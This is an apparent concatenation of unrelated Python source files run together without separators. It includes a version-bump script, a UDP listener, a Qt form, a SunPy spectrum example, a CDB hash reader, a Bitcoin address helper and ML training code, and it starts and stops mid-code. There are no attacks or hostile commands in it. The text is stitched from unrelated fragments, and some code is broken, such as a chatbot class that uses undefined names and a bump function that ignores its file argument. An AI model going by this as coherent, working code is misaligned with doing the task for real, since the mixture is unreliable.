[-1]) ModelCatalog.register_custom_model("CAC", CentralizedActorCriticModel) """ Manage Versions in a python project This will bump the file holding the current version (src/version.txt) as well as tag releases """ import argparse from pathlib import Path from git import Repo import sys def parse_args(): parser = argparse.ArgumentParser("Manage the project version including git tags.") parser.add_argument('--bump', default='none', const='none', nargs='?', choices=['major', 'minor', 'patch', 'none'], help='Bump version of project') parser.add_argument('--version_file', default='src/version.txt', help='Path to version file') parser.add_argument("--tag", dest="tag", action="store_true", default=False, help="Create git tag") args = parser.parse_args() assert Path(args.version_file).exists() return args def bump(bump_type:str='patch', version_file='src/version.txt'): with open('src/version.txt', 'r') as f: lines = f.readlines() version = ([int(line.split(' ')[1].strip()) for line in lines if line]) # Increment the version, resetting minor/patches if bump_type == 'major': version[0] += 1 version[1] = 0 version[2] = 0 if bump_type == 'minor': version[1] += 1 version[2] = 0 if bump_type == 'patch': version[2] += 1 if bump_type != 'none': with open('src/version.txt', 'w') as f: f.write("MAJOR {}\nMINOR {}\nPATCH {}".format(*version)) else: pass # print("Not incrementing version, bump was 'none'.\n") string_ints = [str(int_version) for int_version in version] version_str = ".".join(string_ints) return version_str def create_tag(version_str, message="Tagged for release"): version_str = 'v{}'.format(version_str) repo = Repo('.') if repo.is_dirty(): resp:str = input("Repo is dirty do you want to continue? [y/n]: ") if resp.lower() != 'y': print("Quiting...") sys.exit() hexsha = repo.head.commit.hexsha print("Creating new tag: {} ; commit: {}".format(version_str, hexsha)) new_tag = repo.create_tag(version_str, message=message) return version_str def main(): args = parse_args() if args.tag: version_str = bump(bump_type='none', version_file=args.version_file) new_tag = create_tag(version_str) print("Don't forget to push the tags with:") print("\t git push origin {} OR".format(new_tag)) print("\t git push origin --tags") else: version_str = bump(bump_type=args.bump, version_file=args.version_file) print('Incremented version to {}'.format(version_str)) if __name__ == "__main__": main()# example UDP receiver server, call with python server.py import socket, sys, IN listen_ip = sys.argv[1] port = int(sys.argv[2]) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #Internet, UDP #s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.bind((listen_ip, port)) print "Listening for UDP messages on %s:%s" % (listen_ip, port) while 1: data,addr = s.recvfrom(1024) print 'Ping received from %s: %s' % (addr, data) # -*- coding: utf-8 -*- ################################################################################ ## Form generated from reading UI file 'products.ui' ## ## Created by: Qt User Interface Compiler version 6.1.1 ## ## WARNING! All changes made in this file will be lost when recompiling UI file! ################################################################################ from PySide6.QtCore import * # type: ignore from PySide6.QtGui import * # type: ignore from PySide6.QtWidgets import * # type: ignore class Ui_products(object): def setupUi(self, products): if not products.objectName(): products.setObjectName(u"products") products.resize(733, 451) self.gridLayout = QGridLayout(products) self.gridLayout.setSpacing(2) self.gridLayout.setObjectName(u"gridLayout") self.gridLayout.setContentsMargins(0, 0, 0, 0) self.frame_4 = QFrame(products) self.frame_4.setObjectName(u"frame_4") self.gridLayout_5 = QGridLayout(self.frame_4) self.gridLayout_5.setObjectName(u"gridLayout_5") self.groupBox_2 = QGroupBox(self.frame_4) self.groupBox_2.setObjectName(u"groupBox_2") self.gridLayout_6 = QGridLayout(self.groupBox_2) self.gridLayout_6.setObjectName(u"gridLayout_6") self.label = QLabel(self.groupBox_2) self.label.setObjectName(u"label") self.gridLayout_6.addWidget(self.label, 0, 0, 1, 1) self.fieldNewBrand = QLineEdit(self.groupBox_2) self.fieldNewBrand.setObjectName(u"fieldNewBrand") self.fieldNewBrand.setMinimumSize(QSize(125, 25)) self.fieldNewBrand.setMaximumSize(QSize(300, 25)) self.gridLayout_6.addWidget(self.fieldNewBrand, 1, 0, 1, 1) self.buttonAddBrand = QPushButton(self.groupBox_2) self.buttonAddBrand.setObjectName(u"buttonAddBrand") self.buttonAddBrand.setMinimumSize(QSize(125, 0)) self.buttonAddBrand.setMaximumSize(QSize(125, 16777215)) self.buttonAddBrand.setCursor(QCursor(Qt.PointingHandCursor)) self.gridLayout_6.addWidget(self.buttonAddBrand, 2, 0, 1, 1, Qt.AlignRight) self.gridLayout_5.addWidget(self.groupBox_2, 0, 1, 1, 1, Qt.AlignTop) self.tableBrands = QTableWidget(self.frame_4) if (self.tableBrands.columnCount() < 2): self.tableBrands.setColumnCount(2) __qtablewidgetitem = QTableWidgetItem() self.tableBrands.setHorizontalHeaderItem(0, __qtablewidgetitem) __qtablewidgetitem1 = QTableWidgetItem() self.tableBrands.setHorizontalHeaderItem(1, __qtablewidgetitem1) self.tableBrands.setObjectName(u"tableBrands") self.tableBrands.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tableBrands.setSelectionMode(QAbstractItemView.SingleSelection) self.tableBrands.setSelectionBehavior(QAbstractItemView.SelectRows) self.tableBrands.verticalHeader().setVisible(False) self.gridLayout_5.addWidget(self.tableBrands, 0, 0, 1, 1, Qt.AlignLeft) self.frame_5 = QFrame(self.frame_4) self.frame_5.setObjectName(u"frame_5") self.horizontalLayout = QHBoxLayout(self.frame_5) self.horizontalLayout.setObjectName(u"horizontalLayout") self.buttonDeleteBrand = QPushButton(self.frame_5) self.buttonDeleteBrand.setObjectName(u"buttonDeleteBrand") self.buttonDeleteBrand.setMaximumSize(QSize(125, 16777215)) self.buttonDeleteBrand.setCursor(QCursor(Qt.PointingHandCursor)) self.horizontalLayout.addWidget(self.buttonDeleteBrand) self.buttonUpdateBrand = QPushButton(self.frame_5) self.buttonUpdateBrand.setObjectName(u"buttonUpdateBrand") self.buttonUpdateBrand.setMaximumSize(QSize(125, 16777215)) self.buttonUpdateBrand.setCursor(QCursor(Qt.PointingHandCursor)) self.horizontalLayout.addWidget(self.buttonUpdateBrand) self.gridLayout_5.addWidget(self.frame_5, 1, 0, 1, 1) self.gridLayout.addWidget(self.frame_4, 1, 0, 1, 1) self.frame_6 = QFrame(products) self.frame_6.setObjectName(u"frame_6") self.gridLayout_7 = QGridLayout(self.frame_6) self.gridLayout_7.setObjectName(u"gridLayout_7") self.groupBox_3 = QGroupBox(self.frame_6) self.groupBox_3.setObjectName(u"groupBox_3") self.gridLayout_8 = QGridLayout(self.groupBox_3) self.gridLayout_8.setObjectName(u"gridLayout_8") self.label_7 = QLabel(self.groupBox_3) self.label_7.setObjectName(u"label_7") self.gridLayout_8.addWidget(self.label_7, 0, 0, 1, 1) self.fieldNewCategory = QLineEdit(self.groupBox_3) self.fieldNewCategory.setObjectName(u"fieldNewCategory") self.fieldNewCategory.setMinimumSize(QSize(125, 25)) self.fieldNewCategory.setMaximumSize(QSize(300, 25)) self.gridLayout_8.addWidget(self.fieldNewCategory, 1, 0, 1, 1) self.buttonAddCategory = QPushButton(self.groupBox_3) self.buttonAddCategory.setObjectName(u"buttonAddCategory") self.buttonAddCategory.setMinimumSize(QSize(125, 0)) self.buttonAddCategory.setMaximumSize(QSize(125, 16777215)) self.buttonAddCategory.setCursor(QCursor(Qt.PointingHandCursor)) self.gridLayout_8.addWidget(self.buttonAddCategory, 2, 0, 1, 1, Qt.AlignRight) self.gridLayout_7.addWidget(self.groupBox_3, 0, 1, 1, 1, Qt.AlignTop) self.tableCategories = QTableWidget(self.frame_6) if (self.tableCategories.columnCount() < 2): self.tableCategories.setColumnCount(2) __qtablewidgetitem2 = QTableWidgetItem() self.tableCategories.setHorizontalHeaderItem(0, __qtablewidgetitem2) __qtablewidgetitem3 = QTableWidgetItem() self.tableCategories.setHorizontalHeaderItem(1, __qtablewidgetitem3) self.tableCategories.setObjectName(u"tableCategories") self.tableCategories.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tableCategories.setSelectionMode(QAbstractItemView.SingleSelection) self.tableCategories.setSelectionBehavior(QAbstractItemView.SelectRows) self.tableCategories.verticalHeader().setVisible(False) self.gridLayout_7.addWidget(self.tableCategories, 0, 0, 1, 1, Qt.AlignLeft) self.frame_7 = QFrame(self.frame_6) self.frame_7.setObjectName(u"frame_7") self.horizontalLayout_2 = QHBoxLayout(self.frame_7) self.horizontalLayout_2.setObjectName(u"horizontalLayout_2") self.buttonDeleteCategory = QPushButton(self.frame_7) self.buttonDeleteCategory.setObjectName(u"buttonDeleteCategory") self.buttonDeleteCategory.setMaximumSize(QSize(125, 16777215)) self.buttonDeleteCategory.setCursor(QCursor(Qt.PointingHandCursor)) self.horizontalLayout_2.addWidget(self.buttonDeleteCategory) self.buttonUpdateCategory = QPushButton(self.frame_7) self.buttonUpdateCategory.setObjectName(u"buttonUpdateCategory") self.buttonUpdateCategory.setMaximumSize(QSize(125, 16777215)) self.buttonUpdateCategory.setCursor(QCursor(Qt.PointingHandCursor)) self.horizontalLayout_2.addWidget(self.buttonUpdateCategory) self.gridLayout_7.addWidget(self.frame_7, 1, 0, 1, 1) self.gridLayout.addWidget(self.frame_6, 1, 1, 1, 1) self.frame = QFrame(products) self.frame.setObjectName(u"frame") self.gridLayout_2 = QGridLayout(self.frame) self.gridLayout_2.setObjectName(u"gridLayout_2") self.frame_3 = QFrame(self.frame) self.frame_3.setObjectName(u"frame_3") self.horizontalLayout_4 = QHBoxLayout(self.frame_3) self.horizontalLayout_4.setObjectName(u"horizontalLayout_4") self.buttonDeleteProduct = QPushButton(self.frame_3) self.buttonDeleteProduct.setObjectName(u"buttonDeleteProduct") self.buttonDeleteProduct.setMinimumSize(QSize(125, 0)) self.buttonDeleteProduct.setMaximumSize(QSize(125, 16777215)) self.buttonDeleteProduct.setCursor(QCursor(Qt.PointingHandCursor)) self.horizontalLayout_4.addWidget(self.buttonDeleteProduct) self.buttonUpdateProduct = QPushButton(self.frame_3) self.buttonUpdateProduct.setObjectName(u"buttonUpdateProduct") self.buttonUpdateProduct.setMinimumSize(QSize(125, 0)) self.buttonUpdateProduct.setMaximumSize(QSize(125, 16777215)) self.buttonUpdateProduct.setCursor(QCursor(Qt.PointingHandCursor)) self.horizontalLayout_4.addWidget(self.buttonUpdateProduct) self.gridLayout_2.addWidget(self.frame_3, 3, 0, 1, 1, Qt.AlignRight) self.groupBox = QGroupBox(self.frame) self.groupBox.setObjectName(u"groupBox") self.gridLayout_3 = QGridLayout(self.groupBox) self.gridLayout_3.setObjectName(u"gridLayout_3") self.label_5 = QLabel(self.groupBox) self.label_5.setObjectName(u"label_5") self.gridLayout_3.addWidget(self.label_5, 0, 1, 1, 1) self.label_2 = QLabel(self.groupBox) self.label_2.setObjectName(u"label_2") self.gridLayout_3.addWidget(self.label_2, 0, 0, 1, 1) self.label_3 = QLabel(self.groupBox) self.label_3.setObjectName(u"label_3") self.gridLayout_3.addWidget(self.label_3, 2, 0, 1, 1) self.fieldName = QLineEdit(self.groupBox) self.fieldName.setObjectName(u"fieldName") self.fieldName.setMinimumSize(QSize(125, 25)) self.fieldName.setMaximumSize(QSize(300, 25)) self.gridLayout_3.addWidget(self.fieldName, 1, 0, 1, 1) self.fieldStock = QSpinBox(self.groupBox) self.fieldStock.setObjectName(u"fieldStock") self.fieldStock.setMinimumSize(QSize(125, 25)) self.fieldStock.setMaximumSize(QSize(300, 25)) self.gridLayout_3.addWidget(self.fieldStock, 1, 1, 1, 1) self.fieldCategory = QComboBox(self.groupBox) self.fieldCategory.setObjectName(u"fieldCategory") self.fieldCategory.setMinimumSize(QSize(125, 25)) self.fieldCategory.setMaximumSize(QSize(300, 25)) self.gridLayout_3.addWidget(self.fieldCategory, 5, 0, 1, 1) self.label_4 = QLabel(self.groupBox) self.label_4.setObjectName(u"label_4") self.gridLayout_3.addWidget(self.label_4, 4, 0, 1, 1) self.fieldBrand = QComboBox(self.groupBox) self.fieldBrand.setObjectName(u"fieldBrand") self.fieldBrand.setMinimumSize(QSize(125, 25)) self.fieldBrand.setMaximumSize(QSize(300, 25)) self.gridLayout_3.addWidget(self.fieldBrand, 3, 0, 1, 1) self.fieldPrize = QLineEdit(self.groupBox) self.fieldPrize.setObjectName(u"fieldPrize") self.fieldPrize.setMinimumSize(QSize(125, 25)) self.fieldPrize.setMaximumSize(QSize(300, 25)) self.gridLayout_3.addWidget(self.fieldPrize, 3, 1, 1, 1) self.label_6 = QLabel(self.groupBox) self.label_6.setObjectName(u"label_6") self.gridLayout_3.addWidget(self.label_6, 2, 1, 1, 1) self.frame_2 = QFrame(self.groupBox) self.frame_2.setObjectName(u"frame_2") self.frame_2.setFrameShape(QFrame.StyledPanel) self.frame_2.setFrameShadow(QFrame.Raised) self.gridLayout_4 = QGridLayout(self.frame_2) self.gridLayout_4.setObjectName(u"gridLayout_4") self.buttonAddProduct = QPushButton(self.frame_2) self.buttonAddProduct.setObjectName(u"buttonAddProduct") self.buttonAddProduct.setMinimumSize(QSize(125, 0)) self.buttonAddProduct.setMaximumSize(QSize(125, 16777215)) self.buttonAddProduct.setCursor(QCursor(Qt.PointingHandCursor)) self.gridLayout_4.addWidget(self.buttonAddProduct, 0, 0, 1, 1) self.buttonClear = QPushButton(self.frame_2) self.buttonClear.setObjectName(u"buttonClear") self.buttonClear.setMinimumSize(QSize(125, 0)) self.buttonClear.setMaximumSize(QSize(125, 16777215)) self.buttonClear.setCursor(QCursor(Qt.PointingHandCursor)) self.gridLayout_4.addWidget(self.buttonClear, 1, 0, 1, 1) self.gridLayout_3.addWidget(self.frame_2, 0, 2, 6, 1) self.gridLayout_2.addWidget(self.groupBox, 2, 4, 1, 1) self.tableProducts = QTableWidget(self.frame) if (self.tableProducts.columnCount() < 2): self.tableProducts.setColumnCount(2) __qtablewidgetitem4 = QTableWidgetItem() self.tableProducts.setHorizontalHeaderItem(0, __qtablewidgetitem4) __qtablewidgetitem5 = QTableWidgetItem() self.tableProducts.setHorizontalHeaderItem(1, __qtablewidgetitem5) self.tableProducts.setObjectName(u"tableProducts") self.tableProducts.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tableProducts.setSelectionMode(QAbstractItemView.SingleSelection) self.tableProducts.setSelectionBehavior(QAbstractItemView.SelectRows) self.tableProducts.setWordWrap(False) self.tableProducts.verticalHeader().setVisible(False) self.gridLayout_2.addWidget(self.tableProducts, 2, 0, 1, 1) self.gridLayout.addWidget(self.frame, 0, 0, 1, 2) self.retranslateUi(products) QMetaObject.connectSlotsByName(products) # setupUi def retranslateUi(self, products): products.setWindowTitle(QCoreApplication.translate("products", u"Form", None)) products.setProperty("type", QCoreApplication.translate("products", u"main", None)) self.frame_4.setProperty("type", QCoreApplication.translate("products", u"mainframe", None)) self.groupBox_2.setTitle(QCoreApplication.translate("products", u"Add New Brand", None)) self.label.setText(QCoreApplication.translate("products", u"Brand Name", None)) self.buttonAddBrand.setText(QCoreApplication.translate("products", u"Add", None)) ___qtablewidgetitem = self.tableBrands.horizontalHeaderItem(0) ___qtablewidgetitem.setText(QCoreApplication.translate("products", u"Brand Id", None)); ___qtablewidgetitem1 = self.tableBrands.horizontalHeaderItem(1) ___qtablewidgetitem1.setText(QCoreApplication.translate("products", u"Brand Name", None)); self.buttonDeleteBrand.setText(QCoreApplication.translate("products", u"Delete", None)) self.buttonUpdateBrand.setText(QCoreApplication.translate("products", u"Update", None)) self.frame_6.setProperty("type", QCoreApplication.translate("products", u"mainframe", None)) self.groupBox_3.setTitle(QCoreApplication.translate("products", u"Add New Category", None)) self.label_7.setText(QCoreApplication.translate("products", u"Category Name", None)) self.buttonAddCategory.setText(QCoreApplication.translate("products", u"Add", None)) ___qtablewidgetitem2 = self.tableCategories.horizontalHeaderItem(0) ___qtablewidgetitem2.setText(QCoreApplication.translate("products", u"Category Id", None)); ___qtablewidgetitem3 = self.tableCategories.horizontalHeaderItem(1) ___qtablewidgetitem3.setText(QCoreApplication.translate("products", u"Category Name", None)); self.buttonDeleteCategory.setText(QCoreApplication.translate("products", u"Delete", None)) self.buttonUpdateCategory.setText(QCoreApplication.translate("products", u"Update", None)) self.frame.setProperty("type", QCoreApplication.translate("products", u"mainframe", None)) self.buttonDeleteProduct.setText(QCoreApplication.translate("products", u"Delete", None)) self.buttonUpdateProduct.setText(QCoreApplication.translate("products", u"Update", None)) self.groupBox.setTitle(QCoreApplication.translate("products", u"Add New Product", None)) self.label_5.setText(QCoreApplication.translate("products", u"Current Stock", None)) self.label_2.setText(QCoreApplication.translate("products", u"Product Name", None)) self.label_3.setText(QCoreApplication.translate("products", u"Brand", None)) self.label_4.setText(QCoreApplication.translate("products", u"Category", None)) self.label_6.setText(QCoreApplication.translate("products", u"Prize/Unit", None)) self.buttonAddProduct.setText(QCoreApplication.translate("products", u"Add", None)) self.buttonClear.setText(QCoreApplication.translate("products", u"Clear", None)) ___qtablewidgetitem4 = self.tableProducts.horizontalHeaderItem(0) ___qtablewidgetitem4.setText(QCoreApplication.translate("products", u"Product Id", None)); ___qtablewidgetitem5 = self.tableProducts.horizontalHeaderItem(1) ___qtablewidgetitem5.setText(QCoreApplication.translate("products", u"Product Name", None)); # retranslateUi 10-100 import json import random; random.seed(42) from collections import Counter from typing import List from corpus_analysis_and_sampling import write_jsonl def shuffle_data(x, y, d): """ Randomly shuffle co-indexed lists, pertaining the alignment of the lists""" xyd = list(zip(x, y, d)) random.shuffle(xyd) x, y, d = zip(*xyd) x, y, d = list(x), list(y), list(d) return x, y, d if __name__ == '__main__': corpus_file = 'sec_corpus_2016-2019_clean_freq100.jsonl' x: List[str] = [] y: List[List[str]] = [] doc_ids: List[str] = [] print('Loading data from', corpus_file) for line in open(corpus_file): labeled_provision = json.loads(line) x.append(labeled_provision['provision']) y.append(labeled_provision['label']) doc_ids.append(labeled_provision['source']) labels = [l for labels in y for l in labels] label_counts = Counter(labels) min_freq = 100 target_freq = 100 x, y, doc_ids = shuffle_data(x, y, doc_ids) seen_labels = Counter() sampled_x, sampled_y, sampled_docids = [], [], [] for text, labels, doc_id in zip(x, y, doc_ids): for label in labels: if label_counts[label] >= min_freq and seen_labels[label] < target_freq: sample_labels = [l for l in labels if label_counts[l] >= min_freq] for l in sample_labels: seen_labels[l] += 1 sampled_x.append(text) sampled_y.append(sample_labels) sampled_docids.append((doc_id)) break sampled_labels = [l for labels in sampled_y for l in labels] sampled_label_counts = Counter(sampled_labels) write_jsonl(corpus_file.replace('.jsonl', '_subsampled.jsonl'), sampled_x, sampled_y, sampled_docids) mimesis/providers/clothing.py """Clothing sizes data provider.""" from mimesis.providers.base import BaseDataProvider __all__ = ['ClothingSize'] class ClothingSize(BaseDataProvider): """Class for generate clothing sizes data.""" def international_size(self) -> str: """Get a random size in international format. :return: Clothing size. :Example: XXL. """ return self.random.choice(['L', 'M', 'S', 'XL', 'XS', 'XXL', 'XXS', 'XXXL']) def european_size(self) -> int: """Generate a random clothing size in European format. :return: Clothing size. :Example: 42 """ return self.random.randint(38, 62) def custom_size(self, minimum: int = 40, maximum: int = 62) -> int: """Generate clothing size using custom format. :param minimum: Minimum value. :param maximum: Maximum value. :return: Clothing size. :Example: 44 """ return self.random.randint(minimum, maximum) from django.contrib import admin # Register your models here. from django.contrib import admin from django.contrib.auth.admin import UserAdmin from django.contrib.auth.models import User from ats_profiles.models import UserProfile, Tag, UserProfileAttachedFile class UserInline(admin.StackedInline): model = UserProfile can_delete = False verbose_name_plural = 'profile' class UserProfileAdmin(UserAdmin): inlines = (UserInline, ) # Re-register UserAdmin admin.site.unregister(User) admin.site.register(User, UserProfileAdmin) admin.site.register(Tag) admin.site.register(UserProfileAttachedFile) """ ========================================= Making a power spectrum from a TimeSeries ========================================= How to estimate the power spectrum of a TimeSeries. """ import matplotlib.pyplot as plt from scipy import signal import astropy.units as u import sunpy.timeseries from sunpy.data.sample import RHESSI_TIMESERIES ############################################################################### # Let's first load a RHESSI TimeSeries from SunPy's sample data. # This data contains 9 columns, which are evenly sampled with a time step of 4 # seconds. ts = sunpy.timeseries.TimeSeries(RHESSI_TIMESERIES) ############################################################################### # We now use SciPy's `~scipy.signal.periodogram` to estimate the # power spectra of the first column of the Timeseries. The first column contains # X-Ray emmisions in the range of 3-6 keV. An alternative version is Astropy's # `~astropy.stats.LombScargle` periodogram. x_ray = ts.columns[0] # The suitable value for fs would be 0.25 Hz as the time step is 4 s. freq, spectra = signal.periodogram(ts.data[x_ray], fs=0.25) ############################################################################### # Let's plot the results plt.semilogy(freq, spectra) plt.title('Power Spectrum of {}'.format(x_ray)) plt.ylabel('Power Spectral Density [{:LaTeX}]'.format(ts.units[x_ray] ** 2 / u.Hz)) plt.xlabel('Frequency [Hz]') plt.show() import sys import numpy from collections import Mapping from bx.misc.binary_file import BinaryFileReader, BinaryFileWriter from six.moves import reduce def cdbhash( s ): return reduce( lambda h, c: (((h << 5) + h) ^ ord(c)) & 0xffffffff, s, 5381 ) class FileCDBDict( Mapping ): """ For accessing a CDB structure on disk. Read only. Currently only supports access by key (getitem). NOTE: The keys method could be implemented by scanning the main table. """ def __init__( self, file, is_little_endian=True ): # TODO: Deal with endianess self.io = BinaryFileReader( file, is_little_endian=is_little_endian ) self.header_offset = self.io.tell() # Read the whole header (only 2k) self.header = [( self.io.read_uint32(), self.io.read_uint32() ) for _ in range( 256 )] def __getitem__( self, key ): hash = cdbhash( key ) # Find position of subtable using 8 LSBs of hash subtable_offset = self.header[ hash % 256 ][0] subtable_size = self.header[ hash % 256 ][1] if subtable_size == 0: raise KeyError # Seek into subtable and look for match start = ( hash >> 8 ) for i in range( subtable_size ): offset = subtable_offset + ( ( start + i ) % subtable_size ) * 8 self.io.seek( offset ) h = self.io.read_uint32() p = self.io.read_uint32() # Hit an empty bin, no match for key if p == 0: raise KeyError # Hash matches, need to check full key if h == hash: self.io.seek( p ) klen = self.io.read_uint32() vlen = self.io.read_uint32() k = self.io.read( klen ).decode() if k == key: v = self.io.read( vlen ).decode() return v else: # Visited every slot and no match (should never happen since # there are empty slots by contruction) raise KeyError def __iter__(self): raise NotImplementedError() def __len__(self): raise NotImplementedError() @classmethod def to_file( Class, dict, file, is_little_endian=True ): """ For constructing a CDB structure in a file. Able to calculate size on disk and write to a file """ io = BinaryFileWriter( file, is_little_endian=is_little_endian ) start_offset = io.tell() # Header is of fixed length io.seek( start_offset + ( 8 * 256 ) ) # For each item, key and value length (written as length prefixed # strings). We also calculate the subtables on this pass. # NOTE: This requires the key and value be byte strings, support for # dealing with encoding specific value types should be # added to this wrapper subtables = [ [] for i in range(256) ] for key, value in dict.items(): pair_offset = io.tell() io.write_uint32( len( key ) ) io.write_uint32( len( value ) ) io.write( key ) io.write( value ) hash = cdbhash( key ) subtables[ hash % 256 ].append( ( hash, pair_offset ) ) # Save the offset where the subtables will start subtable_offset = io.tell() # Write subtables for subtable in subtables: if len( subtable ) > 0: # Construct hashtable to be twice the size of the number # of items in the subtable, and built it in memory ncells = len( subtable ) * 2 cells = [ (0,0) for i in range( ncells ) ] for hash, pair_offset in subtable: index = ( hash >> 8 ) % ncells while cells[index][1] != 0: index = ( index + 1 ) % ncells # Guaranteed to find a non-empty cell cells[index] = ( hash, pair_offset ) # Write subtable for hash, pair_offset in cells: io.write_uint32( hash ) io.write_uint32( pair_offset ) # Go back and write the header end_offset = io.tell() io.seek( start_offset ) index = subtable_offset for subtable in subtables: io.write_uint32( index ) io.write_uint32( len( subtable * 2 ) ) # For each cell in the subtable, a hash and a pointer to a value index += ( len( subtable ) * 2 ) * 8 # Leave fp at end of cdb io.seek( end_offset ) chatbot/buttonMessage.py class ButtonMessage: def __init__(self): jsonresponse =json.dumps({ "recipient": {"id": response["messagesender"]}, "message":{ "attachment":{ "type":"template", "payload":{ "template_type":"button", "text":"What do you want to do next?", "buttons":[ { "type":"postback", "title" : "First postbak", "payload":"ANOTHER_PAYLOAD" }, { "type":"postback", "title":"Start Chatting", "payload":"USER_DEFINED_PAYLOAD" } ] } } } }) btc_address_dump/p2pkh_util.py import hashlib import base58 def sha256(hex_str: bytes) -> bytes: sha = hashlib.sha256() sha.update(hex_str) return sha.digest() def ripemd160(hex_str: bytes) -> bytes: rip = hashlib.new('ripemd160') rip.update(hex_str) return rip.digest() def compute_cksum(hex_str: bytes) -> bytes: s1 = sha256(hex_str) # print('s1=', binascii.hexlify(s1)) # d094b259d52d874cf084aaece4251e5d3b731fe66fe2dc21564106330d25f278 s2 = sha256(s1) # print('s2=', binascii.hexlify(s2)) # 37fefcd01823fdbce992747702d2420b11a5d266b92d516a93aa83f336ce8241 checksum = s2[0:4] return checksum def pubkey_to_addr(pubkey: bytes) -> bytes: out1 = sha256(pubkey) # print(binascii.hexlify(out1)) # 448997ae8759eb23d6c6b67de6fc3419006cbf061617c3e07323aaf5bcd53476 out2 = ripemd160(out1) # print(binascii.hexlify(out2)) # bbc1e42a39d05a4cc61752d6963b7f69d09bb27b version = b'\x00' # 0x00 for Main Network, 0x6f for Test Network checksum = compute_cksum(version + out2) # print('checksum', binascii.hexlify(checksum)) # 37fefcd0 out3 = version + out2 + checksum # print(binascii.hexlify(out3)) address = base58.b58encode(out3) return address Legend-Gaming/legendv3-cogs from .leaderboardcr import CRLeaderBoard async def setup(bot): cog = CRLeaderBoard(bot=bot) await cog.crtoken() bot.add_cog(cog) import torch import argparse import os.path as osp # The models import sys sys.path.append('../models') # This is gross, I know from models.resnet import ResNet18 # Constants LOG_HEADERS = ['Epoch', 'LR', 'Train loss', 'Train acc.', 'Test loss', \ 'Test acc.'] BEST_MODEL_THRESHOLDS = { 'cifar10' : 80.0, 'cifar100' : 60.0, 'svhn' : 85.0 } MODEL_INITS = { 'resnet18' : ResNet18 } ALPHA_STEP = 2/255 HARDCODED_EPS = torch.tensor([8/255,]) def parse_settings(magnet_training): # Training settings dataset_choices = ['cifar10','cifar100','svhn'] arch_choices = ['resnet18'] parser = argparse.ArgumentParser(description='PyTorch Magnet Loss') parser.add_argument('--epochs', type=int, default=90, help='training epochs (def.: 90)') parser.add_argument('--batch-size', type=int, default=256, help='batch size for standard (regular) training') parser.add_argument('--test-batch', type=int, default=64, help='batch size for testing') parser.add_argument('--lr', type=float, default=1e-4, help='learning rate (default: 1e-4)') parser.add_argument('--dataset', type=str, default='cifar10', help='dataset to use', choices=dataset_choices) parser.add_argument('--checkpoint', required=True, type=str, help='name of experiment') parser.add_argument('--seed', type=int, help='manual seed', default=111) parser.add_argument('--arch', type=str, default='resnet18', help='architecture to use', choices=arch_choices) parser.add_argument('--evaluate-ckpt', type=str, default=None, help='path to ckpt to evaluate') # Magnet-loss params parser.add_argument('--k', type=int, default=2, help='clusters per class (def.: 2)') parser.add_argument('--d', type=int, default=20, help='samples to take per cluster (def.: 20) -- bs = m*d') parser.add_argument('--m', type=int, default=12, help='clusters to sample per iteration (def.: 12) -- bs = m*d') parser.add_argument('--L', type=int, default=10, help='nearest neighbors to consider (def.: 10)') parser.add_argument('--alpha', type=float, default=12.5, help='alpha for magnet loss (def.: 12.5)') # Adversarial training param parser.add_argument('--minibatch-replays', type=int, default=0, help='M parameter for free adversarial training') # For scheduler parser.add_argument('--milestones', type=int, nargs='+', default=[30, 60], help='milestones for scheduler') # Other parameters parser.add_argument('--consistency-lambda', type=float, default=0.0, help='multiplier for combination of magnet- and consistency-loss') parser.add_argument('--xent-lambda', type=float, default=0.0, help='multiplier for combination of magnet- and crossentropy-loss') parser.add_argument('--mse-consistency', action='store_true', default=False, help='use mean-squared error consistency') parser.add_argument('--not-normalize', action='store_true', default=False, help='not normalize scores for probabilities computation') parser.add_argument('--actual-trades', action='store_true', default=False, help='run with actual trades implementation') parser.add_argument('--pretrained-path', type=str, default=None, help='path to pretrained model') parser.add_argument('--save-all', action='store_true', default=False, help='save all checkpoints (every epoch)') # Attack-related params parser.add_argument('--restarts', type=int, default=10, help='num of PGD restarts for evaluation') parser.add_argument('--iterations', type=int, default=20, help='num of PGD iterations for evaluation') args = parser.parse_args() # Batch size args.batch_size = args.m * args.d if magnet_training else args.batch_size print(f'Effective batch size: {args.batch_size}') # Add checkpoint namespace args.checkpoint = "experiments/%s/"%(args.checkpoint) LOG_PATH = osp.join(args.checkpoint, 'log.txt') MODEL_INIT = MODEL_INITS[args.arch] BEST_MODEL_THRESH = BEST_MODEL_THRESHOLDS[args.dataset] return (args, LOG_PATH, LOG_HEADERS, BEST_MODEL_THRESH, MODEL_INIT, ALPHA_STEP, HARDCODED_EPS)#!/usr/bin/env python3 # -*- coding: utf-8 -*- # author:1111 # datetime:2019/12/11 17:02 # software: PyCharm import torch from torch import nn def normalize_ms(x, axis=-1): """Normalizing to unit length along the specified dimension. Args: x: pytorch Variable Returns: x: pytorch Variable, same shape as input """ x = 1. * x / (torch.norm(x, 2, axis, keepdim=True).expand_as(x) + 1e-12) return x def euclidean_dist_ms(x, y): """ Args: x: pytorch Variable, with shape [m, d] y: pytorch Variable, with shape [n, d] Returns: dist: pytorch Variable, with shape [m, n] """ m, n = x.size(0), y.size(0) xx = torch.pow(x, 2).sum(1, keepdim=True).expand(m, n) yy = torch.pow(y, 2).sum(1, keepdim=True).expand(n, m).t() dist = xx + yy dist.addmm_(1, -2, x, y.t()) dist = dist.clamp(min=1e-12).sqrt() # for numerical stability return dist class MultiSimilarityLoss(nn.Module): def __init__(self, cfg): super(MultiSimilarityLoss, self).__init__() self.thresh = 1 self.margin = 0.1 self.scale_pos = cfg.SOLVER.MULTI_SIMILARITY_LOSS.SCALE_POS self.scale_neg = cfg.SOLVER.MULTI_SIMILARITY_LOSS.SCALE_NEG self.m = cfg.SOLVER.MARGIN_RANK self.alpha = cfg.SOLVER.ALPHA def forward(self, feats, labels, normalize_feature=True): assert feats.size(0) == labels.size(0), \ f"feats.size(0): {feats.size(0)} is not equal to labels.size(0): {labels.size(0)}" batch_size = feats.size(0) if normalize_feature: feats = normalize_ms(feats, axis=-1) dist_mat = euclidean_dist_ms(feats, feats) # torch.matmul epsilon = 1e-5 loss = list() for i in range(batch_size): pos_pair_ = dist_mat[i][labels == labels[i]] pos_pair_ = pos_pair_[pos_pair_ < 1 - epsilon] neg_pair_ = dist_mat[i][labels != labels[i]] # pos_pair = torch.clamp(torch.add(pos_pair_, 